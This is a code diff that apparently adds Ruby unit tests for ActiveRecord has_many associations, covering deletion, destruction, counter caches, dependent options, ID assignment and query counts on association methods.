+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    companies(:first_firm).clients_of_firm.delete(companies(:first_firm).clients_of_firm.first)
+    assert_equal 1, companies(:first_firm).clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm.reload.size
+  end
+
+  def test_deleting_before_save
+    new_firm = Firm.new("name" => "A New Firm, Inc.")
+    new_client = new_firm.clients_of_firm.build("name" => "Another Client")
+    assert_equal 1, new_firm.clients_of_firm.size
+    new_firm.clients_of_firm.delete(new_client)
+    assert_equal 0, new_firm.clients_of_firm.size
+  end
+
+  def test_has_many_without_counter_cache_option
+    # Ship has a conventionally named `treasures_count` column, but the counter_cache
+    # option is not given on the association.
+    ship = Ship.create(name: "Countless", treasures_count: 10)
+
+    assert_not Ship.reflect_on_association(:treasures).has_cached_counter?
+
+    # Count should come from sql count() of treasures rather than treasures_count attribute
+    assert_equal ship.treasures.size, 0
+
+    assert_no_difference lambda { ship.reload.treasures_count }, "treasures_count should not be changed" do
+      ship.treasures.create(name: "Gold")
+    end
+
+    assert_no_difference lambda { ship.reload.treasures_count }, "treasures_count should not be changed" do
+      ship.treasures.destroy_all
+    end
+  end
+
+  def test_deleting_updates_counter_cache
+    topic = Topic.order("id ASC").first
+    assert_equal topic.replies.to_a.size, topic.replies_count
+
+    topic.replies.delete(topic.replies.first)
+    topic.reload
+    assert_equal topic.replies.to_a.size, topic.replies_count
+  end
+
+  def test_counter_cache_updates_in_memory_after_concat
+    topic = Topic.create title: "Zoom-zoom-zoom"
+
+    topic.replies << Reply.create(title: "re: zoom", content: "speedy quick!")
+    assert_equal 1, topic.replies_count
+    assert_equal 1, topic.replies.size
+    assert_equal 1, topic.reload.replies.size
+  end
+
+  def test_counter_cache_updates_in_memory_after_create
+    topic = Topic.create title: "Zoom-zoom-zoom"
+
+    topic.replies.create!(title: "re: zoom", content: "speedy quick!")
+    assert_equal 1, topic.replies_count
+    assert_equal 1, topic.replies.size
+    assert_equal 1, topic.reload.replies.size
+  end
+
+  def test_counter_cache_updates_in_memory_after_create_with_array
+    topic = Topic.create title: "Zoom-zoom-zoom"
+
+    topic.replies.create!([
+      { title: "re: zoom", content: "speedy quick!" },
+      { title: "re: zoom 2", content: "OMG lol!" },
+    ])
+    assert_equal 2, topic.replies_count
+    assert_equal 2, topic.replies.size
+    assert_equal 2, topic.reload.replies.size
+  end
+
+  def test_pushing_association_updates_counter_cache
+    topic = Topic.order("id ASC").first
+    reply = Reply.create!
+
+    assert_difference "topic.reload.replies_count", 1 do
+      topic.replies << reply
+    end
+  end
+
+  def test_deleting_updates_counter_cache_without_dependent_option
+    post = posts(:welcome)
+
+    assert_difference "post.reload.tags_count", -1 do
+      post.taggings.delete(post.taggings.first)
+    end
+  end
+
+  def test_deleting_updates_counter_cache_with_dependent_delete_all
+    post = posts(:welcome)
+    post.update_columns(taggings_with_delete_all_count: post.tags_count)
+
+    assert_difference "post.reload.taggings_with_delete_all_count", -1 do
+      post.taggings_with_delete_all.delete(post.taggings_with_delete_all.first)
+    end
+  end
+
+  def test_deleting_updates_counter_cache_with_dependent_destroy
+    post = posts(:welcome)
+    post.update_columns(taggings_with_destroy_count: post.tags_count)
+
+    assert_difference "post.reload.taggings_with_destroy_count", -1 do
+      post.taggings_with_destroy.delete(post.taggings_with_destroy.first)
+    end
+  end
+
+  def test_calling_empty_with_counter_cache
+    post = posts(:welcome)
+    assert_queries(0) do
+      assert_not post.comments.empty?
+    end
+  end
+
+  def test_custom_named_counter_cache
+    topic = topics(:first)
+
+    assert_difference "topic.reload.replies_count", -1 do
+      topic.approved_replies.clear
+    end
+  end
+
+  def test_calling_update_attributes_on_id_changes_the_counter_cache
+    topic = Topic.order("id ASC").first
+    original_count = topic.replies.to_a.size
+    assert_equal original_count, topic.replies_count
+
+    first_reply = topic.replies.first
+    first_reply.update_attributes(parent_id: nil)
+    assert_equal original_count - 1, topic.reload.replies_count
+
+    first_reply.update_attributes(parent_id: topic.id)
+    assert_equal original_count, topic.reload.replies_count
+  end
+
+  def test_calling_update_attributes_changing_ids_doesnt_change_counter_cache
+    topic1 = Topic.find(1)
+    topic2 = Topic.find(3)
+    original_count1 = topic1.replies.to_a.size
+    original_count2 = topic2.replies.to_a.size
+
+    reply1 = topic1.replies.first
+    reply2 = topic2.replies.first
+
+    reply1.update_attributes(parent_id: topic2.id)
+    assert_equal original_count1 - 1, topic1.reload.replies_count
+    assert_equal original_count2 + 1, topic2.reload.replies_count
+
+    reply2.update_attributes(parent_id: topic1.id)
+    assert_equal original_count1, topic1.reload.replies_count
+    assert_equal original_count2, topic2.reload.replies_count
+  end
+
+  def test_deleting_a_collection
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+    assert_equal 3, companies(:first_firm).clients_of_firm.size
+    companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1], companies(:first_firm).clients_of_firm[2]])
+    assert_equal 0, companies(:first_firm).clients_of_firm.size
+    assert_equal 0, companies(:first_firm).clients_of_firm.reload.size
+  end
+
+  def test_delete_all
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    companies(:first_firm).dependent_clients_of_firm.create("name" => "Another Client")
+    clients = companies(:first_firm).dependent_clients_of_firm.to_a
+    assert_equal 3, clients.count
+
+    assert_difference "Client.count", -(clients.count) do
+      companies(:first_firm).dependent_clients_of_firm.delete_all
+    end
+  end
+
+  def test_delete_all_with_not_yet_loaded_association_collection
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+    assert_equal 3, companies(:first_firm).clients_of_firm.size
+    companies(:first_firm).clients_of_firm.reset
+    companies(:first_firm).clients_of_firm.delete_all
+    assert_equal 0, companies(:first_firm).clients_of_firm.size
+    assert_equal 0, companies(:first_firm).clients_of_firm.reload.size
+  end
+
+  def test_transaction_when_deleting_persisted
+    good = Client.new(name: "Good")
+    bad  = Client.new(name: "Bad", raise_on_destroy: true)
+
+    companies(:first_firm).clients_of_firm = [good, bad]
+
+    begin
+      companies(:first_firm).clients_of_firm.destroy(good, bad)
+    rescue Client::RaisedOnDestroy
+    end
+
+    assert_equal [good, bad], companies(:first_firm).clients_of_firm.reload
+  end
+
+  def test_transaction_when_deleting_new_record
+    assert_no_queries(ignore_none: false) do
+      firm = Firm.new
+      client = Client.new("name" => "New Client")
+      firm.clients_of_firm << client
+      firm.clients_of_firm.destroy(client)
+    end
+  end
+
+  def test_clearing_an_association_collection
+    firm = companies(:first_firm)
+    client_id = firm.clients_of_firm.first.id
+    assert_equal 2, firm.clients_of_firm.size
+
+    firm.clients_of_firm.clear
+
+    assert_equal 0, firm.clients_of_firm.size
+    assert_equal 0, firm.clients_of_firm.reload.size
+    assert_equal [], Client.destroyed_client_ids[firm.id]
+
+    # Should not be destroyed since the association is not dependent.
+    assert_nothing_raised do
+      assert_nil Client.find(client_id).firm
+    end
+  end
+
+  def test_clearing_updates_counter_cache
+    topic = Topic.first
+
+    assert_difference "topic.reload.replies_count", -1 do
+      topic.replies.clear
+    end
+  end
+
+  def test_clearing_updates_counter_cache_when_inverse_counter_cache_is_a_symbol_with_dependent_destroy
+    car = Car.first
+    car.engines.create!
+
+    assert_difference "car.reload.engines_count", -1 do
+      car.engines.clear
+    end
+  end
+
+  def test_clearing_a_dependent_association_collection
+    firm = companies(:first_firm)
+    client_id = firm.dependent_clients_of_firm.first.id
+    assert_equal 2, firm.dependent_clients_of_firm.size
+    assert_equal 1, Client.find_by_id(client_id).client_of
+
+    # :delete_all is called on each client since the dependent options is :destroy
+    firm.dependent_clients_of_firm.clear
+
+    assert_equal 0, firm.dependent_clients_of_firm.size
+    assert_equal 0, firm.dependent_clients_of_firm.reload.size
+    assert_equal [], Client.destroyed_client_ids[firm.id]
+
+    # Should be destroyed since the association is dependent.
+    assert_nil Client.find_by_id(client_id)
+  end
+
+  def test_delete_all_with_option_delete_all
+    firm = companies(:first_firm)
+    client_id = firm.dependent_clients_of_firm.first.id
+    firm.dependent_clients_of_firm.delete_all(:delete_all)
+    assert_nil Client.find_by_id(client_id)
+  end
+
+  def test_delete_all_accepts_limited_parameters
+    firm = companies(:first_firm)
+    assert_raise(ArgumentError) do
+      firm.dependent_clients_of_firm.delete_all(:destroy)
+    end
+  end
+
+  def test_clearing_an_exclusively_dependent_association_collection
+    firm = companies(:first_firm)
+    client_id = firm.exclusively_dependent_clients_of_firm.first.id
+    assert_equal 2, firm.exclusively_dependent_clients_of_firm.size
+
+    assert_equal [], Client.destroyed_client_ids[firm.id]
+
+    # :exclusively_dependent means each client is deleted directly from
+    # the database without looping through them calling destroy.
+    firm.exclusively_dependent_clients_of_firm.clear
+
+    assert_equal 0, firm.exclusively_dependent_clients_of_firm.size
+    assert_equal 0, firm.exclusively_dependent_clients_of_firm.reload.size
+    # no destroy-filters should have been called
+    assert_equal [], Client.destroyed_client_ids[firm.id]
+
+    # Should be destroyed since the association is exclusively dependent.
+    assert_nil Client.find_by_id(client_id)
+  end
+
+  def test_dependent_association_respects_optional_conditions_on_delete
+    firm = companies(:odegy)
+    Client.create(client_of: firm.id, name: "BigShot Inc.")
+    Client.create(client_of: firm.id, name: "SmallTime Inc.")
+    # only one of two clients is included in the association due to the :conditions key
+    assert_equal 2, Client.where(client_of: firm.id).size
+    assert_equal 1, firm.dependent_conditional_clients_of_firm.size
+    firm.destroy
+    # only the correctly associated client should have been deleted
+    assert_equal 1, Client.where(client_of: firm.id).size
+  end
+
+  def test_dependent_association_respects_optional_sanitized_conditions_on_delete
+    firm = companies(:odegy)
+    Client.create(client_of: firm.id, name: "BigShot Inc.")
+    Client.create(client_of: firm.id, name: "SmallTime Inc.")
+    # only one of two clients is included in the association due to the :conditions key
+    assert_equal 2, Client.where(client_of: firm.id).size
+    assert_equal 1, firm.dependent_sanitized_conditional_clients_of_firm.size
+    firm.destroy
+    # only the correctly associated client should have been deleted
+    assert_equal 1, Client.where(client_of: firm.id).size
+  end
+
+  def test_dependent_association_respects_optional_hash_conditions_on_delete
+    firm = companies(:odegy)
+    Client.create(client_of: firm.id, name: "BigShot Inc.")
+    Client.create(client_of: firm.id, name: "SmallTime Inc.")
+    # only one of two clients is included in the association due to the :conditions key
+    assert_equal 2, Client.where(client_of: firm.id).size
+    assert_equal 1, firm.dependent_hash_conditional_clients_of_firm.size
+    firm.destroy
+    # only the correctly associated client should have been deleted
+    assert_equal 1, Client.where(client_of: firm.id).size
+  end
+
+  def test_delete_all_association_with_primary_key_deletes_correct_records
+    firm = Firm.first
+    # break the vanilla firm_id foreign key
+    assert_equal 3, firm.clients.count
+    firm.clients.first.update_columns(firm_id: nil)
+    assert_equal 2, firm.clients.reload.count
+    assert_equal 2, firm.clients_using_primary_key_with_delete_all.count
+    old_record = firm.clients_using_primary_key_with_delete_all.first
+    firm = Firm.first
+    firm.destroy
+    assert_nil Client.find_by_id(old_record.id)
+  end
+
+  def test_creation_respects_hash_condition
+    ms_client = companies(:first_firm).clients_like_ms_with_hash_conditions.build
+
+    assert        ms_client.save
+    assert_equal  "Microsoft", ms_client.name
+
+    another_ms_client = companies(:first_firm).clients_like_ms_with_hash_conditions.create
+
+    assert        another_ms_client.persisted?
+    assert_equal  "Microsoft", another_ms_client.name
+  end
+
+  def test_clearing_without_initial_access
+    firm = companies(:first_firm)
+
+    firm.clients_of_firm.clear
+
+    assert_equal 0, firm.clients_of_firm.size
+    assert_equal 0, firm.clients_of_firm.reload.size
+  end
+
+  def test_deleting_a_item_which_is_not_in_the_collection
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    summit = Client.find_by_name("Summit")
+    companies(:first_firm).clients_of_firm.delete(summit)
+    assert_equal 2, companies(:first_firm).clients_of_firm.size
+    assert_equal 2, companies(:first_firm).clients_of_firm.reload.size
+    assert_equal 2, summit.client_of
+  end
+
+  def test_deleting_by_integer_id
+    david = Developer.find(1)
+
+    assert_difference "david.projects.count", -1 do
+      assert_equal 1, david.projects.delete(1).size
+    end
+
+    assert_equal 1, david.projects.size
+  end
+
+  def test_deleting_by_string_id
+    david = Developer.find(1)
+
+    assert_difference "david.projects.count", -1 do
+      assert_equal 1, david.projects.delete("1").size
+    end
+
+    assert_equal 1, david.projects.size
+  end
+
+  def test_deleting_self_type_mismatch
+    david = Developer.find(1)
+    david.projects.reload
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(Project.find(1).developers) }
+  end
+
+  def test_destroying
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    assert_difference "Client.count", -1 do
+      companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first)
+    end
+
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm.reload.size
+  end
+
+  def test_destroying_by_integer_id
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    assert_difference "Client.count", -1 do
+      companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id)
+    end
+
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm.reload.size
+  end
+
+  def test_destroying_by_string_id
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    assert_difference "Client.count", -1 do
+      companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id.to_s)
+    end
+
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm.reload.size
+  end
+
+  def test_destroying_a_collection
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+    assert_equal 3, companies(:first_firm).clients_of_firm.size
+
+    assert_difference "Client.count", -2 do
+      companies(:first_firm).clients_of_firm.destroy([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
+    end
+
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm.reload.size
+  end
+
+  def test_destroy_all
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_predicate companies(:first_firm).clients_of_firm, :loaded?
+
+    clients = companies(:first_firm).clients_of_firm.to_a
+    assert !clients.empty?, "37signals has clients after load"
+    destroyed = companies(:first_firm).clients_of_firm.destroy_all
+    assert_equal clients.sort_by(&:id), destroyed.sort_by(&:id)
+    assert destroyed.all?(&:frozen?), "destroyed clients should be frozen"
+    assert companies(:first_firm).clients_of_firm.empty?, "37signals has no clients after destroy all"
+    assert companies(:first_firm).clients_of_firm.reload.empty?, "37signals has no clients after destroy all and refresh"
+  end
+
+  def test_dependence
+    firm = companies(:first_firm)
+    assert_equal 3, firm.clients.size
+    firm.destroy
+    assert Client.all.merge!(where: "firm_id=#{firm.id}").to_a.empty?
+  end
+
+  def test_dependence_for_associations_with_hash_condition
+    david = authors(:david)
+    assert_difference("Post.count", -1) { assert david.destroy }
+  end
+
+  def test_destroy_dependent_when_deleted_from_association
+    firm = Firm.first
+    assert_equal 3, firm.clients.size
+
+    client = firm.clients.first
+    firm.clients.delete(client)
+
+    assert_raise(ActiveRecord::RecordNotFound) { Client.find(client.id) }
+    assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(client.id) }
+    assert_equal 2, firm.clients.size
+  end
+
+  def test_three_levels_of_dependence
+    topic = Topic.create "title" => "neat and simple"
+    reply = topic.replies.create "title" => "neat and simple", "content" => "still digging it"
+    reply.replies.create "title" => "neat and simple", "content" => "ain't complaining"
+
+    assert_nothing_raised { topic.destroy }
+  end
+
+  def test_dependence_with_transaction_support_on_failure
+    firm = companies(:first_firm)
+    clients = firm.clients
+    assert_equal 3, clients.length
+    clients.last.instance_eval { def overwrite_to_raise() raise "Trigger rollback" end }
+
+    firm.destroy rescue "do nothing"
+
+    assert_equal 3, Client.all.merge!(where: "firm_id=#{firm.id}").to_a.size
+  end
+
+  def test_dependence_on_account
+    num_accounts = Account.count
+    companies(:first_firm).destroy
+    assert_equal num_accounts - 1, Account.count
+  end
+
+  def test_depends_and_nullify
+    num_accounts = Account.count
+
+    core = companies(:rails_core)
+    assert_equal accounts(:rails_core_account), core.account
+    assert_equal companies(:leetsoft, :jadedpixel), core.companies
+    core.destroy
+    assert_nil accounts(:rails_core_account).reload.firm_id
+    assert_nil companies(:leetsoft).reload.client_of
+    assert_nil companies(:jadedpixel).reload.client_of
+
+    assert_equal num_accounts, Account.count
+  end
+
+  def test_restrict_with_exception
+    firm = RestrictedWithExceptionFirm.create!(name: "restrict")
+    firm.companies.create(name: "child")
+
+    assert !firm.companies.empty?
+    assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
+    assert RestrictedWithExceptionFirm.exists?(name: "restrict")
+    assert firm.companies.exists?(name: "child")
+  end
+
+  def test_restrict_with_error
+    firm = RestrictedWithErrorFirm.create!(name: "restrict")
+    firm.companies.create(name: "child")
+
+    assert !firm.companies.empty?
+
+    firm.destroy
+
+    assert !firm.errors.empty?
+
+    assert_equal "Cannot delete record because dependent companies exist", firm.errors[:base].first
+    assert RestrictedWithErrorFirm.exists?(name: "restrict")
+    assert firm.companies.exists?(name: "child")
+  end
+
+  def test_restrict_with_error_with_locale
+    I18n.backend = I18n::Backend::Simple.new
+    I18n.backend.store_translations "en", activerecord: { attributes: { restricted_with_error_firm: { companies: "client companies" } } }
+    firm = RestrictedWithErrorFirm.create!(name: "restrict")
+    firm.companies.create(name: "child")
+
+    assert !firm.companies.empty?
+
+    firm.destroy
+
+    assert !firm.errors.empty?
+
+    assert_equal "Cannot delete record because dependent client companies exist", firm.errors[:base].first
+    assert RestrictedWithErrorFirm.exists?(name: "restrict")
+    assert firm.companies.exists?(name: "child")
+  ensure
+    I18n.backend.reload!
+  end
+
+  def test_included_in_collection
+    assert_equal true, companies(:first_firm).clients.include?(Client.find(2))
+  end
+
+  def test_included_in_collection_for_new_records
+    client = Client.create(name: "Persisted")
+    assert_nil client.client_of
+    assert_equal false, Firm.new.clients_of_firm.include?(client),
+     "includes a client that does not belong to any firm"
+  end
+
+  def test_adding_array_and_collection
+    assert_nothing_raised { Firm.first.clients + Firm.all.last.clients }
+  end
+
+  def test_replace_with_less
+    firm = Firm.first
+    firm.clients = [companies(:first_client)]
+    assert firm.save, "Could not save firm"
+    firm.reload
+    assert_equal 1, firm.clients.length
+  end
+
+  def test_replace_with_less_and_dependent_nullify
+    num_companies = Company.count
+    companies(:rails_core).companies = []
+    assert_equal num_companies, Company.count
+  end
+
+  def test_replace_with_new
+    firm = Firm.first
+    firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
+    firm.save
+    firm.reload
+    assert_equal 2, firm.clients.length
+    assert_equal false, firm.clients.include?(:first_client)
+  end
+
+  def test_replace_failure
+    firm = companies(:first_firm)
+    account = Account.new
+    orig_accounts = firm.accounts.to_a
+
+    assert !account.valid?
+    assert !orig_accounts.empty?
+    error = assert_raise ActiveRecord::RecordNotSaved do
+      firm.accounts = [account]
+    end
+
+    assert_equal orig_accounts, firm.accounts
+    assert_equal "Failed to replace accounts because one or more of the " \
+                 "new records could not be saved.", error.message
+  end
+
+  def test_replace_with_same_content
+    firm = Firm.first
+    firm.clients = []
+    firm.save
+
+    assert_queries(0, ignore_none: true) do
+      firm.clients = []
+    end
+
+    assert_equal [], firm.send("clients=", [])
+  end
+
+  def test_transactions_when_replacing_on_persisted
+    good = Client.new(name: "Good")
+    bad  = Client.new(name: "Bad", raise_on_save: true)
+
+    companies(:first_firm).clients_of_firm = [good]
+
+    begin
+      companies(:first_firm).clients_of_firm = [bad]
+    rescue Client::RaisedOnSave
+    end
+
+    assert_equal [good], companies(:first_firm).clients_of_firm.reload
+  end
+
+  def test_transactions_when_replacing_on_new_record
+    assert_no_queries(ignore_none: false) do
+      firm = Firm.new
+      firm.clients_of_firm = [Client.new("name" => "New Client")]
+    end
+  end
+
+  def test_get_ids
+    assert_equal [companies(:first_client).id, companies(:second_client).id, companies(:another_first_firm_client).id], companies(:first_firm).client_ids
+  end
+
+  def test_get_ids_for_loaded_associations
+    company = companies(:first_firm)
+    company.clients.reload
+    assert_queries(0) do
+      company.client_ids
+      company.client_ids
+    end
+  end
+
+  def test_get_ids_for_unloaded_associations_does_not_load_them
+    company = companies(:first_firm)
+    assert !company.clients.loaded?
+    assert_equal [companies(:first_client).id, companies(:second_client).id, companies(:another_first_firm_client).id], company.client_ids
+    assert !company.clients.loaded?
+  end
+
+  def test_counter_cache_on_unloaded_association
+    car = Car.create(name: "My AppliCar")
+    assert_equal car.engines.size, 0
+  end
+
+  def test_get_ids_ignores_include_option
+    assert_equal [readers(:michael_welcome).id], posts(:welcome).readers_with_person_ids
+  end
+
+  def test_get_ids_for_ordered_association
+    assert_equal [companies(:another_first_firm_client).id, companies(:second_client).id, companies(:first_client).id], companies(:first_firm).clients_ordered_by_name_ids
+  end
+
+  def test_get_ids_for_association_on_new_record_does_not_try_to_find_records
+    Company.columns  # Load schema information so we don't query below
+    Contract.columns # if running just this test.
+
+    company = Company.new
+    assert_queries(0) do
+      company.contract_ids
+    end
+
+    assert_equal [], company.contract_ids
+  end
+
+  def test_set_ids_for_association_on_new_record_applies_association_correctly
+    contract_a = Contract.create!
+    contract_b = Contract.create!
+    Contract.create! # another contract
+    company = Company.new(name: "Some Company")
+
+    company.contract_ids = [contract_a.id, contract_b.id]
+    assert_equal [contract_a.id, contract_b.id], company.contract_ids
+    assert_equal [contract_a, contract_b], company.contracts
+
+    company.save!
+    assert_equal company, contract_a.reload.company
+    assert_equal company, contract_b.reload.company
+  end
+
+  def test_assign_ids_ignoring_blanks
+    firm = Firm.create!(name: "Apple")
+    firm.client_ids = [companies(:first_client).id, nil, companies(:second_client).id, ""]
+    firm.save!
+
+    assert_equal 2, firm.clients.reload.size
+    assert_equal true, firm.clients.include?(companies(:second_client))
+  end
+
+  def test_get_ids_for_through
+    assert_equal [comments(:eager_other_comment1).id], authors(:mary).comment_ids
+  end
+
+  def test_modifying_a_through_a_has_many_should_raise
+    [
+      lambda { authors(:mary).comment_ids = [comments(:greetings).id, comments(:more_greetings).id] },
+      lambda { authors(:mary).comments = [comments(:greetings), comments(:more_greetings)] },
+      lambda { authors(:mary).comments << Comment.create!(body: "Yay", post_id: 424242) },
+      lambda { authors(:mary).comments.delete(authors(:mary).comments.first) },
+    ].each { |block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection, &block) }
+  end
+
+  def test_dynamic_find_should_respect_association_order_for_through
+    assert_equal Comment.find(10), authors(:david).comments_desc.where("comments.type = 'SpecialComment'").first
+    assert_equal Comment.find(10), authors(:david).comments_desc.find_by_type("SpecialComment")
+  end
+
+  def test_has_many_through_respects_hash_conditions
+    assert_equal authors(:david).hello_posts, authors(:david).hello_posts_with_hash_conditions
+    assert_equal authors(:david).hello_post_comments, authors(:david).hello_post_comments_with_hash_conditions
+  end
+
+  def test_include_uses_array_include_after_loaded
+    firm = companies(:first_firm)
+    firm.clients.load_target
+
+    client = firm.clients.first
+
+    assert_no_queries do
+      assert firm.clients.loaded?
+      assert_equal true, firm.clients.include?(client)
+    end
+  end
+
+  def test_include_checks_if_record_exists_if_target_not_loaded
+    firm = companies(:first_firm)
+    client = firm.clients.first
+
+    firm.reload
+    assert ! firm.clients.loaded?
+    assert_queries(1) do
+      assert_equal true, firm.clients.include?(client)
+    end
+    assert ! firm.clients.loaded?
+  end
+
+  def test_include_returns_false_for_non_matching_record_to_verify_scoping
+    firm = companies(:first_firm)
+    client = Client.create!(name: "Not Associated")
+
+    assert ! firm.clients.loaded?
+    assert_equal false, firm.clients.include?(client)
+  end
+
+  def test_calling_first_nth_or_last_on_association_should_not_load_association
+    firm = companies(:first_firm)
+    firm.clients.first
+    firm.clients.second
+    firm.clients.last
+    assert !firm.clients.loaded?
+  end
+
+  def test_calling_first_or_last_on_loaded_association_should_not_fetch_with_query
+    firm = companies(:first_firm)
+    firm.clients.load_target
+    assert firm.clients.loaded?
+
+    assert_no_queries(ignore_none: false) do
+      firm.clients.first
+      assert_equal 2, firm.clients.first(2).size
+      firm.clients.last
+      assert_equal 2, firm.clients.last(2).size
+    end
+  end
+
+  def test_calling_first_or_last_on_existing_record_with_build_should_load_association
+    firm = companies(:first_firm)
+    firm.clients.build(name: "Foo")
+    assert !firm.clients.loaded?
+
+    assert_queries 1 do
+      firm.clients.first
+      firm.clients.second
+      firm.clients.last
+    end
+
+    assert firm.clients.loaded?
+  end
+
+  def test_calling_first_nth_or_last_on_existing_record_with_create_should_not_load_association
+    firm = companies(:first_firm)
+    firm.clients.create(name: "Foo")
+    assert !firm.clients.loaded?
+
+    assert_queries 3 do
+      firm.clients.first
+      firm.clients.second
+      firm.clients.last
+    end
+
+    assert !firm.clients.loaded?
+  end
+
+  def test_calling_first_nth_or_last_on_new_record_should_not_run_queries
+    firm = Firm.new
+
+    assert_no_queries do
+      firm.clients.first
+      firm.clients.second
+      firm.clients.last
+    end
+  end
+
+  def test_calling_first_or_last_with_integer_on_association_should_not_load_association
+    firm = companies(:first_firm)
+    firm.clients.create(name: "Foo")
+    assert !firm.clients.loaded?
+
+    assert_queries 2 do
+      firm.clients.first(2)
+      firm.clients.last(2)
+    end
+
+    assert !firm.clients.loaded?
+  end
+
+  def test_calling_many_should_count_instead_of_loading_association
+    firm = companies(:first_firm)
+    assert_queries(1) do
+      firm.clients.many?  # use count query
+    end
+    assert !firm.clients.loaded?
+  end
+
+  def test_calling_many_on_loaded_association_should_not_use_query
+    firm = companies(:first_firm)
+    firm.clients.load  # force load
+    assert_no_queries { assert firm.clients.many? }
+  end
+
+  def test_calling_many_should_defer_to_collection_if_using_a_block
+    firm = companies(:first_firm)
+    assert_queries(1) do
+      firm.clients.expects(:size).never
+      firm.clients.many? { true }
+    end
+    assert firm.clients.loaded?
+  end
+
+  def test_calling_many_should_return_false_if_none_or_one
+    firm = companies(:another_firm)
+    assert !firm.clients_like_ms.many?
+    assert_equal 0, firm.clients_like_ms.size
+
+    firm = companies(:first_firm)
+    assert !firm.limited_clients.many?
+    assert_equal 1, firm.limited_clients.size
+  end
+
+  def test_calling_many_should_return_true_if_more_than_one
+    firm = companies(:first_firm)
+    assert firm.clients.many?
+    assert_equal 3, firm.clients.size
+  end
+
+  def test_calling_none_should_count_instead_of_loading_association
+    firm = companies(:first_firm)
+    assert_queries(1) do
+      firm.clients.none?  # use count query
+    end
+    assert !firm.clients.loaded?
+  end
+
+  def test_calling_none_on_loaded_association_should_not_use_query
+    firm = companies(:first_firm)
+    firm.clients.load  # force load
+    assert_no_queries { assert ! firm.clients.none? }
+  end
+
+  def test_calling_none_should_defer_to_collection_if_using_a_block
+    firm = companies(:first_firm)
+    assert_queries(1) do
+      firm.clients.expects(:size).never
+      firm.clients.none? { true }
+    end
+    assert firm.clients.loaded?
+  end
+
+  def test_calling_none_should_return_true_if_none
+    firm = companies(:another_firm)
+    assert firm.clients_like_ms.none?
+    assert_equal 0, firm.clients_like_ms.size
+  end
+
+  def test_calling_none_should_return_false_if_any
+    firm = companies(:first_firm)
+    assert !firm.limited_clients.none?
+    assert_equal 1, firm.limited_clients.size
+  end
+
+  def test_calling_one_should_count_instead_of_loading_association
+    firm = companies(:first_firm)
+    assert_queries(1) do
+      firm.clients.one?  # use count query
+    end
+    assert !firm.clients.loaded?
+  end
+
+  def test_calling_one_on_loaded_association_should_not_use_query
+    firm = companies(:first_firm)
+    firm.clients.load  # force load
+    assert_no_queries { assert ! firm.clients.one? }
+  end
+
+  def test_calling_one_should_defer_to_collection_if_using_a_block
+    firm = companies(:first_firm)
+    assert_queries(1) do
+      firm.clients.expects(:size).never
+      firm.clients.one? { true }
+    end
+    assert firm.clients.loaded?
+  end
+
+  def test_calling_one_should_return_false_if_zero
+    firm = companies(:another_firm)
+    assert ! firm.clients_like_ms.one?
+    assert_equal 0, firm.clients_like_ms.size
+  end
+
+  def test_calling_one_should_return_true_if_one
+    firm = companies(:first_firm)
+    assert firm.limited_clients.one?
+    assert_equal 1, firm.limited_clients.size
+  end
+
+  def test_calling_one_should_return_false_if_more_than_one
+    firm = companies(:first_firm)
+    assert ! firm.clients.one?
+    assert_equal 3, firm.clients.size
+  end
+
+  def test_joins_with_namespaced_model_should_use_correct_type
+    old = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = true
+
+    firm = Namespaced::Firm.create(name: "Some Company")
+    firm.clients.create(name: "Some Client")
+
+    stats = Namespaced::Firm.all.merge!(
+      select: "#{Namespaced::Firm.table_name}.id, COUNT(#{Namespaced::Client.table_name}.id) AS num_clients",
+      joins: :clients,
+      group: "#{Namespaced::Firm.table_name}.id"
+    ).find firm.id
+    assert_equal 1, stats.num_clients.to_i
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old
+  end
+
+  def test_association_proxy_transaction_method_starts_transaction_in_association_class
+    Comment.expects(:transaction)
+    Post.first.comments.transaction do
+      # nothing
+    end
+  end
+
+  def test_sending_new_to_association_proxy_should_have_same_effect_as_calling_new
+    client_association = companies(:first_firm).clients
+    assert_equal client_association.new.attributes, client_association.send(:new).attributes
+  end
